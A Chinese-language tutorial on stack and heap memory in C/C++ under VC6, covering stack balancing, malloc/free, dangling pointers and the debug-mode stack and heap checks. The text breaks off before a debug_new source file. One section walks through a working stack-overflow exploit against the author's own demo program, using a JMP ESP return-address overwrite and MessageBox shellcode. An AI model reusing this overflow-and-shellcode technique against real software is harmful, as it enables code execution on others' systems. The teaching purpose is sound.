编程序,几乎无时无刻不在使用内存,我们使用变量,调用函数,申请空间存放我们的数据,都是在对内存进行操作。
在上一个函数专题中,我本想一并讲下栈内存的使用和局部变量的定位,但由于程序的BUG几乎都是内存的误操作(主要是没有检查)引起的,所以我把相关内存操作的东西都放在这个专题中跟大家讨论。希望这个专题能给像我一样菜的朋友一定的帮助而不是浪费大家的时间。
一、 简介
在一个程序中,内存被分成几个部分,像我们知道的代码段内存、堆内存、栈内存等等。
当我们进行函数调用的时候就是在间接的操作栈内存,当我们用malloc用new关键字申请一块内存空间存放我们的数据的时候,就是在操作堆内存。很明显,我们想要写程序,无疑是一定要与他们打交道的,而如今,我们知道的内存揭露、缓冲区溢出等问题很明显就是对内存操作不是太完美导致的。
因此,对内存的使用有个好的认识,从而完善自己的编程风格尽量减少内存BUG是非常必要的工作,现在,我们就进入正题,分别讨论栈内存和堆内存的运作规则,希望大家都能从中有所收获。
二、 栈内存的使用
时间过的很快,一转眼,函数专题已经过去好长时间了,相信朋友们对函数的使用方法已经掌握的跟我一样熟练了,如果细心的朋友肯定会发现,在我们的函数专题中,我讲述的非常粗糙,很多的知识点我一点就带过去了,很多的知识点还没有讲到。
是的,函数的调用最直接的关系就是栈内存的使用,像定位函数的参数,定位返回地址,定位子函数中的局部变量,都是要在对栈的了解的基础上才能进行的。现在我们就来深入的讨论下栈内存格式。
1、 函数与栈内存的关系
栈是一个数据结构, 它遵循“后进先出”的原则,就像手枪的弹匣,先压入弹匣的子弹最后被打出来一样。
可能很多的朋友会问我,为什么函数要跟栈内存关联到一起,而不使用别的内存(比如堆内存),好现在我们回想下我们函数专题的一些知识。
“
A函数调用B函数,B函数调用C函数,C函数调用D函数……
等D函数执行完毕了,就会返回到C函数继续执行,C函数执行完了,就会返回到B函数……。
”
大家看它们的调用关系,是不是很像栈这个结构的规则:最先调用的最后执行完毕,最后调用的函数最先执行完毕。
是的,正是由于他们之间的这个关系,所以它们被联系在一起了,这样的好处是什么呢?
2、 通过实例来观察函数与栈的关系
好,为了让大家更方便的进入主题,我直接使用函数专题第三节__stdcalll的例子,如果可以的话,希望大家能跟着我一起调试这段代码。
00401000 >/$ 83EC 0C sub esp, 0C
00401003 |. 33C0 xor eax, eax
00401005 |. 8D4C24 04 lea ecx, dword ptr [esp+4]
00401009 |. 894424 08 mov dword ptr [esp+8], eax
0040100D |. 894424 04 mov dword ptr [esp+4], eax
00401011 |. 894424 00 mov dword ptr [esp], eax
00401015 |. 8D4424 00 lea eax, dword ptr [esp]
00401019 |. 50 push eax
0040101A |. 8D5424 0C lea edx, dword ptr [esp+C]
0040101E |. 51 push ecx
0040101F |. 52 push edx
00401020 |. 68 34804000 push Func.00408034 ; ASCII "%d,%d,%d"
00401025 |. E8 87000000 call Func.scanf>
0040102A |. 8B4424 10 mov eax, dword ptr [esp+10]
0040102E |. 8B4C24 14 mov ecx, dword ptr [esp+14]
00401032 |. 8B5424 18 mov edx, dword ptr [esp+18]
00401036 |. 83C4 10 add esp, 10 ; 平衡Scanf的参数使用的堆栈
00401039 |. 50 push eax
0040103A |? 51 push ecx
0040103B |? 52 push edx
0040103C |? E8 0F000000 call Func.MaxNum>
{
00401050 >/$ 8B4C24 04 mov ecx, dword ptr [esp+4]
00401054 |. 8B4424 08 mov eax, dword ptr [esp+8]
00401058 |. 3BC8 cmp ecx, eax
0040105A |. 7C 0B jl short Func.00401067
0040105C |. 8B4424 0C mov eax, dword ptr [esp+C]
00401060 |. 3BC8 cmp ecx, eax
00401062 |. 7D 0B jge short Func.0040106F
00401064 |. C2 0C00 retn 0C
00401067 |? 8B4C24 0C mov ecx, dword ptr [esp+C]
0040106B |. 3BC1 cmp eax, ecx
0040106D |> 7D 02 jge short Func.00401071
0040106F \> 8BC1 mov eax, ecx
00401071 |. C2 0C00 retn 0C ; __stdcall的调用方式,在子函数中平衡堆栈
}
00401041 |? 50 push eax
00401042 |? 68 30804000 push Func.00408030 ; ASCII "%d",LF
00401047 |? E8 34000000 call Func.printfGetStringTypeWsWyte
0040104C \. 83C4 14 add esp, 14 ; 这只平衡printf参数跟开始申请的0xC的栈就可以了。
0040104F C3 retn
好,为了节省时间,我们重点看调用MaxNum这个函数的代码,如下图:
这时的堆栈情况如下:
我们F8单步执行到0x0040103C这个地址这时的栈情况如下:
F7单步走一下,来到下面的代码:
这时,我们再看堆栈情况:
这时ESP中的内容:0x00401041是什么呀?我们再回头看第一张截图:
哈哈,0x00401041就是调用MaxNum的下一条语句哈。就是说,在CALL一个函数的时候,程序先将返回地址压栈然后再JMP到目标函数的首地址:
0040103C CALL 0x00401050 <= => push 0040103C+5
Jmp 0x00401050
这里的push 0040103C+5就是给函数返回的时候指明了方向,它让程序知道,等子函数执行完了该跳转到哪里,继续执行。
好,我们继续F8单步走,走到函数末尾:
这时的堆栈情况几乎没有变化(因为没有对它进行操作……),我们再次F8,这时要着重观察参数以及栈的变化,好,F8。
哈哈,代码回到了0x00401041这个地址,再注意看堆栈:
如果我们仔细的观察这个变化,就会发现:
retn 0x0C <= => JMP esp
add esp, 0x0C
这时堆栈就又回到了第二张图片中堆栈的情况相同了。MaxNum这个函数的调用前和调用后是一样的。这就是传说中的栈平衡原理。
这时,我们可以知道,函数调用跟栈联系到一起的好处:可以极大的节省内存空间,实现内存空间有效的重复使用。而堆栈平衡也是为了我们从子函数中出来以后能够继续准确的定位本函数的局部变量、返回地址等信息。
三、 栈溢出初探
通过上一小节的学习,我们知道,调用一个函数的时候,程序会自动的先将返回地址压入栈中,而这个地址却起到通知程序执行完子函数之后该到那个地方继续执行的关键作用。
同样,通过上面的学习,我们也知道,我们函数的参数,函数中的局部变量几乎都是存放在栈中的,既然这样,就让我们设想一下,如果我们的一个局部变量足够的大,大到把这个返回地址都覆盖了,回出现什么情况呢?
好让我们试一下,编写如下的程序:
/*栈溢出演示程序*/
#include<stdio.h>
#include<string.h>
char name[] = "Hello everyone! Nice to meet you…";
int main()
{
char outputBuffer[8] = {0}; // 这里只分配了8个字节的栈空间
// 将指定的字符串复制到这个缓冲区中,如果这个指定的字符串大于8个字节,则就溢出了
strcpy(outputBuffer, name);
for(int i=0;i<8&& outputBuffer [i];i++)
printf("\\0x%x", outputBuffer [i]);
return 0;
}
程序如下:
相信,如果你经常玩电脑,这个错误提示你应该是见到过的, 但是这提示中的两个数字是啥意思呢?如果这个是地址,我们的程序要想没有对这地址进行操作,但是我们对字符串操作了,这有一个可能就是这些数字是一个字符串,我们对照着ASC码表,看下它们是什么?
是:“oyre”?按照小尾的方式读这个字符串应该是“eryo”,它正好是我们整个字符串: "Hello everyone! Nice to meet you…"中的第9个字符开始的连续的4个字符。
当然这个是我们的猜测,我们用OD载入这个程序看看具体的情况:
这时的堆栈如下:
再F8单步一下,继续观察栈的情况:
我们用OD数据窗口中跟随,换种方式解析:
OK,现在应该比较清楚了,我们对比下栈被破坏的前后图片,我们可以知道。0x0012FF84中存放的是函数的返回地址,我们的字符”eryone”刚好把这个地址给覆盖了,那如果我们吧这几个字符替换成我们别的代码的首地址,那不就是让程序自动执行了我们的代码了么?
我们实验下,我在看雪找了个shellcode,用来弹出一个消息框,代码如下:
// MessageBox提示HelloWorld的shellcode
// 取自看雪论坛
unsigned char shellcode[] =
"\xEB\x42\x8B\x59\x3C\x8B\x5C\x0B\x78\x03\xD9\x8B\x73\x20\x03\xF1"
"\x33\xFF\x4F\x47\xAD\x33\xED\x0F\xB6\x14\x01\x38\xF2\x74\x08\xC1"
"\xCD\x03\x03\xEA\x40\xEB\xF0\x3B\x6C\x24\x04\x75\xE6\x8B\x73\x24"
"\x03\xF1\x66\x8B\x3C\x7E\x8B\x73\x1C\x03\xF1\x8B\x04\xBE\x03\xC1"
"\x5B\x5F\x53\xC3\xEB\x4F\x33\xC0\x64\x33\x40\x30\x8B\x40\x0C\x8B"
"\x70\x1C\xAD\x8B\x48\x08\x58\x33\xDB\x33\xFF\x66\xBF\x33\x32\x57"
"\x68\x75\x73\x65\x72\x8B\xFC\x53\x51\x53\x50\x50\x53\x57\x68\x54"
"\x12\x81\x20\xE8\x8A\xFF\xFF\xFF\xFF\xD0\x8B\xC8\x68\x25\x59\x3A"
"\xE4\xE8\x7C\xFF\xFF\xFF\xFF\xD0\x59\x68\x97\x19\x6C\x2D\xE8\x6F"
"\xFF\xFF\xFF\xFF\xD0\xE8\xAC\xFF\xFF\xFF"
"hello,world!";
现在代码已经确定了,那么怎么能跳转到我们的这个shellcode中去执行呢?
我们知道,我们shellcode的位置是不确定的,但是当前的栈位置是可以确定的,那么我们可以将调用我们shellcode代码的机器指令存放到栈中,然后用一条”JMP ESP”指令来执行我们调用shellcode的代码,这样程序就不自动的掉转到我们的shellcode中去执行了么?
OK,既然思路已经有了,那我们目前的任务就明确了:
1、 找到JMP esp指令的地址。
2、 确定我们jmp shellcode的机器码。
第一个任务比较容易,我们用OD,到0x7Cxxxxxx地址出,查找指令jmp esp的机器码(FFE4):
点击OK, 我们来到了如下的位置:
OK,现在第一个任务完成了,我们只要把函数调用的返回地址填写成这个地址:0x7FFA4512这样,胆码就会掉转到栈中去执行下一条指令。
接下来要做的就是确定跳转到我们代码的机器码是多少。如果大家写过内联钩子的话,应该很清楚这个机器码是由远地址减进地址再减5得到的,也就是说,我们需要先确定我们shellcode的位置然后计算一下,由于我数学学的有点那个啥~,所以,这里我们全借助OD在给我们生成机器码。
我们从shellcode中随便取几个字符,(这里我取前13个字符)去掉\x,然后再OD中,打开内存试图(ALT+M)选中第一条内存地址按ctrl+b,将我们选取的字符粘贴进去,开始查找,如下图:
点击OK,来到如下地方:
OK,我们的shellcode位置就在0x00408030这个地方了。
接下来,我们需要到栈中,写一下jmp 0x00408030,看下机器码是多少:
我们先编写临时的代码如下:
/*栈溢出演示程序*/
#include<stdio.h>
#include<string.h>
// MessageBox提示HelloWorld的shellcode
// 取自看雪论坛
unsigned char shellcode[] =
"\xEB\x42\x8B\x59\x3C\x8B\x5C\x0B\x78\x03\xD9\x8B\x73\x20\x03\xF1"
"\x33\xFF\x4F\x47\xAD\x33\xED\x0F\xB6\x14\x01\x38\xF2\x74\x08\xC1"
"\xCD\x03\x03\xEA\x40\xEB\xF0\x3B\x6C\x24\x04\x75\xE6\x8B\x73\x24"
"\x03\xF1\x66\x8B\x3C\x7E\x8B\x73\x1C\x03\xF1\x8B\x04\xBE\x03\xC1"
"\x5B\x5F\x53\xC3\xEB\x4F\x33\xC0\x64\x33\x40\x30\x8B\x40\x0C\x8B"
"\x70\x1C\xAD\x8B\x48\x08\x58\x33\xDB\x33\xFF\x66\xBF\x33\x32\x57"
"\x68\x75\x73\x65\x72\x8B\xFC\x53\x51\x53\x50\x50\x53\x57\x68\x54"
"\x12\x81\x20\xE8\x8A\xFF\xFF\xFF\xFF\xD0\x8B\xC8\x68\x25\x59\x3A"
"\xE4\xE8\x7C\xFF\xFF\xFF\xFF\xD0\x59\x68\x97\x19\x6C\x2D\xE8\x6F"
"\xFF\xFF\xFF\xFF\xD0\xE8\xAC\xFF\xFF\xFF"
"hello,world!";
char name[] =
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f" // 这里我们用上面找到的jmp esp指令的地址来覆盖这个返回地址。
"\x00\x00\x00\x00\x00"; // 这里先用00填充,等下确定了机器码以后,用机器码覆盖这里.
int main()
{
char output[8];
// 构造溢出
strcpy(output, name);
for(int i=0;i<8&&output[i];i++)
printf("\\0x%x",output[i]);
return 0;
}
编译好了,OD载入,单步执行,来到如下地方:
此时的栈内容如下:
F8,继续执行一下,来到我们找到的JMP esp的地方,继续F8一下,现在我们就在栈中了:
由于我们代码中用的是00来填充的指令,所以,我们现在就要用指定的代码来替换这里,看看它们的机器码是多少:
OK,机器码是:E9A3802D00,好了,现在我们把00替换成这个代码:
/*栈溢出演示程序*/
#include<stdio.h>
#include<string.h>
// MessageBox提示HelloWorld的shellcode
// 取自看雪论坛
unsigned char shellcode[] =
"\xEB\x42\x8B\x59\x3C\x8B\x5C\x0B\x78\x03\xD9\x8B\x73\x20\x03\xF1"
"\x33\xFF\x4F\x47\xAD\x33\xED\x0F\xB6\x14\x01\x38\xF2\x74\x08\xC1"
"\xCD\x03\x03\xEA\x40\xEB\xF0\x3B\x6C\x24\x04\x75\xE6\x8B\x73\x24"
"\x03\xF1\x66\x8B\x3C\x7E\x8B\x73\x1C\x03\xF1\x8B\x04\xBE\x03\xC1"
"\x5B\x5F\x53\xC3\xEB\x4F\x33\xC0\x64\x33\x40\x30\x8B\x40\x0C\x8B"
"\x70\x1C\xAD\x8B\x48\x08\x58\x33\xDB\x33\xFF\x66\xBF\x33\x32\x57"
"\x68\x75\x73\x65\x72\x8B\xFC\x53\x51\x53\x50\x50\x53\x57\x68\x54"
"\x12\x81\x20\xE8\x8A\xFF\xFF\xFF\xFF\xD0\x8B\xC8\x68\x25\x59\x3A"
"\xE4\xE8\x7C\xFF\xFF\xFF\xFF\xD0\x59\x68\x97\x19\x6C\x2D\xE8\x6F"
"\xFF\xFF\xFF\xFF\xD0\xE8\xAC\xFF\xFF\xFF"
"hello,world!";
char name[] =
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f" // 这里我们用上面找到的jmp esp指令的地址来覆盖这个返回地址。
"\xE9\xA3\x80\x2D\x00"; //这里覆盖成我们找到的机器码.
int main()
{
char output[8];
// 构造溢出
strcpy(output, name);
for(int i=0;i<8&&output[i];i++)
printf("\\0x%x",output[i]);
return 0;
}
OK,将上面这段代码编译运行,看看效果:
由于本专题不是讲述缓冲区溢出相关技术,所以,shellcode的编写等方面不再详细解释,如果有好奇的朋友可以自行参考其它文章或者等待我们后期的缓冲区溢出专题。
本想简单的模拟向栈溢出,以便引出下一个小节的内容,可没想到占用了这么大的篇幅,只希望大家能从中吸取教训,注意自己的编码规范,多做检查……
四、 堆内存的使用
如果熟悉缓冲区溢出的朋友一定也听说过堆溢出的情况,限于篇幅,这里不再模拟堆溢出的情况,如果有朋友对这方面感兴趣可以参考别的文章或者等待我们后面的缓冲区溢出专题。
本小节,我们主要讲解堆得使用以及内部的一些运行机制,当然,所讲的这些也仅仅是我的个人理解,所讲的层面也仅限于我的知识范畴,比较浅显也肯定会有存在纰漏的地方,还望各位看官批评指正。
1、 对内存的申请和释放
估计这个内容的知识点,网上遍地都是,只要大家在百度或者谷歌上查一下malloc/free或者new / delete的使用,我想查询结果不会低于几百万条,在这里,我还是粗略的说一下这个基础的知识。
倘若我们要申请一段内存来存放我们的数据,就需要使用new关键字或者用malloc之类的函数,这些会返回申请到的内存的首地址(也就是指针,关于指针的话题,我们下一讲再详细描述),来供我们对这个内存进行操作,如下代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
//////////////////////////////////////////////////////////////////////////
void main()
{
char szBuffer[] = "Hello World!";
char *pItemPointer = (char *)malloc(sizeof(szBuffer));
if (!pItemPointer)// 这里一定要检查内存申请是否成功
{
printf("申请堆空间失败...");
return;
}
//如果申请成功则进行字符串拷贝
strcpy(pItemPointer, szBuffer);
if (pItemPointer) // 判断一下,以免对空指针进行内存释放
{
// 堆使用完以后,要释放……
free(pItemPointer);
// 这里将指针置空以免野指针的发生
pItemPointer = NULL;
}
}
这段代码的检查工作应该说是比较到位了吧,应该是这样的……
再说一下new/delete使用的情况:
简要的说,new和delete 与 malloc/ free作用是差不多的,区别主要有如下几点:
1、 new/delete主要用户C++中,malloc/free用于C语言中.。
2、 new/delete除了分配内存之外,还调用了C++相应对象的构造函数和析构函数用来初始化对象和清理对象遗留的垃圾。
例如,我们编写如下代码:
#include <iostream.h>
class CTestObj
{
private:
char m_StrBuf[128];
public:
CTestObj();
virtual ~CTestObj();
};
CTestObj::CTestObj()
{
cout << "in CTestObj()" << endl;
}
CTestObj::~CTestObj()
{
cout << "in ~CTestObj()" << endl;
}
//////////////////////////////////////////////////////////////////////////
void main()
{
CTestObj *obj_Test = new CTestObj[10]; // 申请十个对象大小的空间,它会自动调用其构造函数
if (!obj_Test)
{
cout << "申请内存失败..." << endl;
}
if (obj_Test)
{
delete[] obj_Test; // 释放空间,它会自动调用其析构函数
}
}
或许这段代码很多的朋友都看不懂,但是不要紧的,我们马上就要进入C++的学习阶段了,大家可以到时候再返回来观看这段代码,我也相信很多的朋友对new/delete的操作有一定的了解了已经,在这里我概要的说一下new和delete关键字的用法,如果有必要的话,我会在后面相关的专题中详细的讲述起用法及操作过程。
上面的两处代码都是对指针的操作,使用指针的时候一定要小心,多做检查,以避免不必要的麻烦产生,曾经好多的朋友问我,他写的程序,不定期的崩溃,而且问题很难被重现出来,我想应该就是他对指针检查不严密造成的,当然也可能是其它原因,毕竟我也是初学者……
2、 野指针与内存泄露
上一小节我们简单的说明了内存的申请和释放的问题,相信细心的朋友已经发现,我上述的两个代码中有两处不显眼的地方我没有讲述,如第一段代码中,free掉指定的内存都,我又给指针赋了一个NULL值,再如第二段代码中,释放内存我用的是delete[]而不是简单的delete。
好的,下面,我们就针对这两段代码展开调试,仔细的探一究竟,在VC中,单步调试第一段程序,我们来到如下的代码地方:
现在我们已经申请到了一段内存,首地址是:0x003807b8,系统自动的为我们初始化成了0xCD,好我们继续单步执行:
现在,我们的堆中有数据了(“Hello world!”),如果细心的朋友可能已经发现,我们的字符串被八个FDFDFDFD包围着。
OK,我们继续单步一下,执行完free函数:
OK,到这里,我们申请的内存已经释放完毕了,系统将它们填充成了EEFE,但是如果我们回头,再看我们的指针,它仍然指向0x003807b8这块内存,如果我们这个时候,仍然对这个指针进行操作,会出现什么现象呢,我想不用我演示大家也能想象出来,是0xC0000005错误。
由于,我们平时对指针的检查就是简单的if(指针不会空),因为我们没有办法确定指针指向的地址是否有效,是否可读写,所以,在这种情况下,由于pItemPointer内容不会空,我们很容易的对它所指向的地址仍然进行读写操作,这就是著名的野指针问题,因此,我在释放掉内存之后,紧接着将指针置空以避免野指针问题的发生。
关于第二个代码段中的delete与delete[],它们的区别一个是:
delete只是释放掉当前堆空间但只调用最初的第一个对象的析构,导致后期对象没有正常的执行析构并销毁,因此,当申请了一个对象数组,只用delete释放一个对象的堆空间时,assert断言为假,所以程序异常退出,在release方式下编译的程序则不会崩溃,只是对象没有正常的销毁。
delete[]则算出对象的个数,依次释放对象堆空间并依次调用它们的析构函数这样使得对象能正常的释放。
如下截图:
仔细比较上面的三个图,它们的区别就很明显了。
五、 浅析VC环境Debug模式下栈溢出检查
通过上面几个小节的街上,我相信,很多的朋友对内存的操作和使用已经有了一定的了解,为了尽可能的防止内存各种问题的发生,我们应该多做检查。其实,我们VC编译器已经提供给我们一些方式来对溢出做检查,本小节我们就来集中一起讨论下栈溢出检查的原理。
现在,我们编写如下简单的程序:
#include<stdio.h>
#include<string.h>
int main()
{
int nNum01 = 0;
scanf("%d", &nNum01);
return 0;
}
OK,我们用VC调试这个程序,显示汇编码:
很自然的,我们看到了如下的代码,留意我划红线的部分:
在函数的开头部分,我们知道它先保存了EBP的内容,然后用EBP保存最初的堆栈信息,然后才分配了局部变量的空间,并将这个空间用CC填充,使用完成以后,平衡堆栈,并用一个CMP指令检测平衡后的栈顶是不是预期的栈顶,这里它调用了__chkesp这个函数来校验,我们用IDA看一下这个函数都干了什么?
很明显,它接着上面的cmp判断直接做了不同的分支处理,如果栈顶是预想的值,则直接返回就像调用了个空函数一样,程序继续运行,如果程序栈信息与预想的不相同,则跳到函数体重,保存相关的信息然后触发INT3中断程序……
当然这个还有个疑问,就是为什么DEBUG方式下,为这个函数分配了0x44大小的占空间呢?我只声明了一个变量而已……
这个问题困扰了我很久,至今也没有一个我能理解的解释,我网络上搜了好久,得到的比较靠谱的答案是:
微软的编译器是这么检查:在一个存在局部变量的函数里头,编译器统计函数里头所有可能会引起周围局部变量变化的局部变量的个数(有点绕口)n,在堆栈上分配【192 + 2 * n * sizeof(DWORD) + totalsizeof(n)】个字节,都填充为0xCCCCCCCC,接着push三个寄存器:ebx、esi、edi。你可能会问前面为什么要分配【2 * n * sizeof(DWORD)】个字节,这是重点。编译器为每个需要的检查的局部变量多分配了2个DWORD,一个在前,一个在后,就像栅栏一样,其值都是0xCCCCCCCC,这样在函数结束的时候,检查每个栅栏是否为0xCCCCCCCC,如果不是,显然程序中存在错误。比如,缓冲区溢出这样的错误,这种机制可以很容易的检查出来
但是这个结果解释不同VC6下,分配44个字节的缘由,而且在调试过程中,我也没有发现由CC来包围我们的局部变量,如果有哪位朋友清除,希望能回帖指教……
六、 浅析VC环境Debug模式下栈溢出检查
好,我们再看一下堆内存泄露的检查过程,我们直接使用第四小节中,用malloc/free申请和释放堆内存的例子:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
//////////////////////////////////////////////////////////////////////////
void main()
{
char szBuffer[] = "Hello World!";
char *pItemPointer = (char *)malloc(sizeof(szBuffer));
if (!pItemPointer)// 这里一定要检查内存申请是否成功
{
printf("申请堆空间失败...");
return;
}
//如果申请成功则进行字符串拷贝
strcpy(pItemPointer, szBuffer);
if (pItemPointer) // 判断一下,以免对空指针进行内存释放
{
// 堆使用完以后,要释放……
free(pItemPointer);
// 这里将指针置空以免野指针的发生
pItemPointer = NULL;
}
}
我们用OD调试,跟踪下malloc这个函数,看看它到底干了些什么:
/***
*void * _heap_alloc_dbg() - does actual allocation
*
*Purpose:
* Does heap allocation.
*
* Allocates any type of supported memory block.
*
*Entry:
* size_t nSize - size of block requested
* int nBlockUse - block type
* char * szFileName - file name
* int nLine - line number
*
*Exit:
* Success: Pointer to (user portion of) memory block
* Failure: NULL
*
*Exceptions:
*
*******************************************************************************/
void * __cdecl _heap_alloc_dbg(
size_t nSize,
int nBlockUse,
const char * szFileName,
int nLine
)
{
long lRequest;
size_t blockSize;
int fIgnore = FALSE;
_CrtMemBlockHeader * pHead;
/* verify heap before allocation */
if (_crtDbgFlag & _CRTDBG_CHECK_ALWAYS_DF)
_ASSERTE(_CrtCheckMemory()); // 检查已经存在的堆释放完整
lRequest = _lRequestCurr;
/* break into debugger at specific memory allocation */
if (lRequest == _crtBreakAlloc)
_CrtDbgBreak();
/* forced failure */
if (!(*_pfnAllocHook)(_HOOK_ALLOC, NULL, nSize, nBlockUse, lRequest, szFileName, nLine))
{
if (szFileName)
_RPT2(_CRT_WARN, "Client hook allocation failure at file %hs line %d.\n",
szFileName, nLine);
else
_RPT0(_CRT_WARN, "Client hook allocation failure.\n");
return NULL;
}
/* cannot ignore CRT allocations */
if (_BLOCK_TYPE(nBlockUse) != _CRT_BLOCK &&
!(_crtDbgFlag & _CRTDBG_ALLOC_MEM_DF))
fIgnore = TRUE;
/* Diagnostic memory allocation from this point on */
if (nSize > (size_t)_HEAP_MAXREQ ||
nSize + nNoMansLandSize + sizeof(_CrtMemBlockHeader) > (size_t)_HEAP_MAXREQ)
{
_RPT1(_CRT_ERROR, "Invalid allocation size: %u bytes.\n", nSize);
return NULL;
}
if (!_BLOCK_TYPE_IS_VALID(nBlockUse))
{
_RPT0(_CRT_ERROR, "Error: memory allocation: bad memory block type.\n");
}
// 计算申请的内存的大小
blockSize = sizeof(_CrtMemBlockHeader) + nSize + nNoMansLandSize;
#ifndef WINHEAP
/* round requested size */
blockSize = _ROUND2(blockSize, _GRANULARITY);
#endif /* WINHEAP */
pHead = (_CrtMemBlockHeader *)_heap_alloc_base(blockSize);
// 如果是新申请的内存,则调用:HeapAlloc(_crtheap, 0, size);来申请一个内存页
// 如果有现成的内存空间则调用__sbh_alloc_block(size);来划分一块空间。
if (pHead == NULL)
return NULL; // 如果申请失败则返回
++_lRequestCurr;
// 下面开始格式化申请的堆内存
if (fIgnore)
{
pHead->pBlockHeaderNext = NULL;
pHead->pBlockHeaderPrev = NULL;
pHead->szFileName = NULL;
pHead->nLine = IGNORE_LINE;
pHead->nDataSize = nSize;
pHead->nBlockUse = _IGNORE_BLOCK;
pHead->lRequest = IGNORE_REQ;
}
else {
/* keep track of total amount of memory allocated */
_lTotalAlloc += nSize;
_lCurAlloc += nSize;
if (_lCurAlloc > _lMaxAlloc)
_lMaxAlloc = _lCurAlloc;
// 将新申请的内存放到一个全局的链表_pFirstBlock中。
// 通过此链表,可以找到所有申请过的内存
if (_pFirstBlock)
_pFirstBlock->pBlockHeaderPrev = pHead;
else
_pLastBlock = pHead;
pHead->pBlockHeaderNext = _pFirstBlock;
pHead->pBlockHeaderPrev = NULL;
pHead->szFileName = (char *)szFileName;
pHead->nLine = nLine;
pHead->nDataSize = nSize;
pHead->nBlockUse = nBlockUse;
pHead->lRequest = lRequest;
/* link blocks together */
_pFirstBlock = pHead;
}
/* fill in gap before and after real block */
//填充缓冲区前的FDFDFDFD
memset((void *)pHead->gap, _bNoMansLandFill, nNoMansLandSize);
//填充缓冲区后的FDFDFDFD
memset((void *)(pbData(pHead) + nSize), _bNoMansLandFill, nNoMansLandSize);
/* fill data with silly value (but non-zero) */
memset((void *)pbData(pHead), _bCleanLandFill, nSize); // 将用户缓冲区填充CDCDCDCD…
return (void *)pbData(pHead);
}
OK,上述代码中,我简单的加了下注释,通过这个代码我们大致的可以猜测出DEBUG模式下堆内存的管理方式,它通过一个双向链表关联起各个堆空间,并给申请的堆空间格式化,用来做一些检测和存放临时的信息。上述代码中pHead用到的结构体定义如下:
typedef struct _CrtMemBlockHeader
{
struct _CrtMemBlockHeader *pBlockHeaderNext; //下一个内存块节点
struct _CrtMemBlockHeader *pBlockHeaderPrev; //上一个内存块节点
char * szFileName; //文件名
int nLine; //行数
size_t nDataSize;
int nBlockUse;
long lRequest;
unsigned char gap[nNoMansLandSize]; // FDFDFDFD
/* followed by:
* unsigned char data[nDataSize]; // 存放我们数据的缓冲区
* unsigned char anotherGap[nNoMansLandSize]; // FDFDFDFD
*/
} _CrtMemBlockHeader;
其中结构体与堆中各个数据的对应关系如下图:
那在VC6环境中DEBUG模式下是如何检查内存泄露的呢?
我非常侥幸的找到了下面的代码:
_CRTIMP int __cdecl _CrtCheckMemory(void)
{
int allOkay;
int nHeapCheck;
_CrtMemBlockHeader * pHead;
if (!(_crtDbgFlag & _CRTDBG_ALLOC_MEM_DF))
return TRUE; /* can't do any checking */
#ifdef _MT
_mlock(_HEAP_LOCK); /* block other threads */
__try {
#endif /* _MT */
/* check underlying heap */
nHeapCheck = _heapchk();
if (nHeapCheck != _HEAPEMPTY && nHeapCheck != _HEAPOK)
{
switch (nHeapCheck)
{
case _HEAPBADBEGIN:
_RPT0(_CRT_WARN, "_heapchk fails with _HEAPBADBEGIN.\n");
break;
case _HEAPBADNODE:
_RPT0(_CRT_WARN, "_heapchk fails with _HEAPBADNODE.\n");
break;
case _HEAPEND:
_RPT0(_CRT_WARN, "_heapchk fails with _HEAPBADEND.\n");
break;
case _HEAPBADPTR:
_RPT0(_CRT_WARN, "_heapchk fails with _HEAPBADPTR.\n");
break;
default:
_RPT0(_CRT_WARN, "_heapchk fails with unknown return value!\n");
break;
}
allOkay = FALSE;
}
else
{
allOkay = TRUE;
/* 遍历所有的堆内存,并检查 */
for (pHead = _pFirstBlock; pHead != NULL; pHead = pHead->pBlockHeaderNext)
{
int okay = TRUE; /* this block okay ? */
unsigned char * blockUse;
if (_BLOCK_TYPE_IS_VALID(pHead->nBlockUse))
blockUse = szBlockUseName[_BLOCK_TYPE(pHead->nBlockUse)];
else
blockUse = "DAMAGED";
/* 检查开头的FDFDFD有没有被破坏 */
if (!CheckBytes(pHead->gap, _bNoMansLandFill, nNoMansLandSize))
{
_RPT3(_CRT_WARN, "DAMAGE: before %hs block (#%d) at 0x%08X.\n",
blockUse, pHead->lRequest, (BYTE *) pbData(pHead));
okay = FALSE;
}
// 检查尾部的FDFDFDFD有没有被破坏
if (!CheckBytes(pbData(pHead) + pHead->nDataSize, _bNoMansLandFill,
nNoMansLandSize))
{
_RPT3(_CRT_WARN, "DAMAGE: after %hs block (#%d) at 0x%08X.\n",
blockUse, pHead->lRequest, (BYTE *) pbData(pHead));
okay = FALSE;
}
/* free blocks should remain undisturbed */
if (pHead->nBlockUse == _FREE_BLOCK &&
!CheckBytes(pbData(pHead), _bDeadLandFill, pHead->nDataSize))
{
_RPT1(_CRT_WARN, "DAMAGE: on top of Free block at 0x%08X.\n",
(BYTE *) pbData(pHead));
okay = FALSE;
}
if (!okay)
{
/* report some more statistics about the broken object */
if (pHead->szFileName != NULL)
_RPT3(_CRT_WARN, "%hs allocated at file %hs(%d).\n",
blockUse, pHead->szFileName, pHead->nLine);
_RPT3(_CRT_WARN, "%hs located at 0x%08X is %u bytes long.\n",
blockUse, (BYTE *)pbData(pHead), pHead->nDataSize);
allOkay = FALSE;
}
}
}
#ifdef _MT
}
__finally {
_munlock( _HEAP_LOCK ); /* release other threads */
}
#endif /* _MT */
return allOkay;
}
哈哈,上面的代码我们没有必要全部看懂,只要简单的浏览下,在VC中调试时跟一下,就可以很容易的弄清楚它是怎么检查的……
七、 使用VC++检查内存泄露
通过调试几个C库中的函数,发现利用VC监测内存泄露的问题需要使用几个CRT调试堆函数,似乎非常的麻烦,本来想放弃这个小节的内容的,但是功夫不负有心人,让我在《代码揭秘-从C/C++的角度探秘计算机系统》(左飞 著)一书中找到了相关知识点的描述,但是书中说这些代码来源于网络,不是其本人编写,所以我也无法确认代码的来源,只好使用拿来主义了,在这里感谢前辈们的辛勤付出。
OK,我要贴代码了:
//debug_new.h
#ifndef _DEBUG_NEW_H_
#define _DEBUG_NEW_H_
#ifdef _DEBUG
#undef new
extern void _RegDebugNew(void);
extern void* __cdecl operator new(size_t, const char*, int);
extern void __cdecl operator delete(void*, const char*, int);
#define new new(__FILE__, __LINE__)
#define REG_DEBUG_NEW _RegDebugNew();
#else
#define REG_DEBUG_NEW
#endif // _DEBUG
#endif // _DEBUG_NEW_H_
上面是声明部分,下面我给出源文件的代码:
